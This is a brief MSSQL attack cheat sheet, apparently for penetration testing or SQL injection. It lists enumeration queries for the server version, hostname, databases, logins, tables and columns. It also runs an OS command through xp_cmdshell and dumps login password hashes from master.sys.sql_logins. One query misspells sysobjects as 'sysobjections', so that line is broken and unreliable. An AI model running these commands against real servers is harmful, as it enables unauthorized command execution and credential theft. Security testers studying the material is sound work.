MSSQL

DB Version

SELECT @@version

EXEC xp_msver
(detailed version info)

Run OS Command

EXEC master..xp_cmdshell 'net user'

SELECT commands

SELECT HOST_NAME( ) : Hostname and IP

SELECT DB_NAME ( ) : Current DB

SELECT name FROM master..sysdatabases; : List DBs

SELECT user_name ( ) : Current user

SELECT name FROM master..syslogins : List users

SELECT name FROM master..sysobjects WHERE xtype='U'; : List Tables

SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjections WHERE name='mytable'); : List columns

List all Tables and Columns

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable')

System Table (Info on All Tables)

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

MS-SQL 2005 Vulnerability (Password Hashes)

SELECT name, password_hash FROM master.sys.sql_logins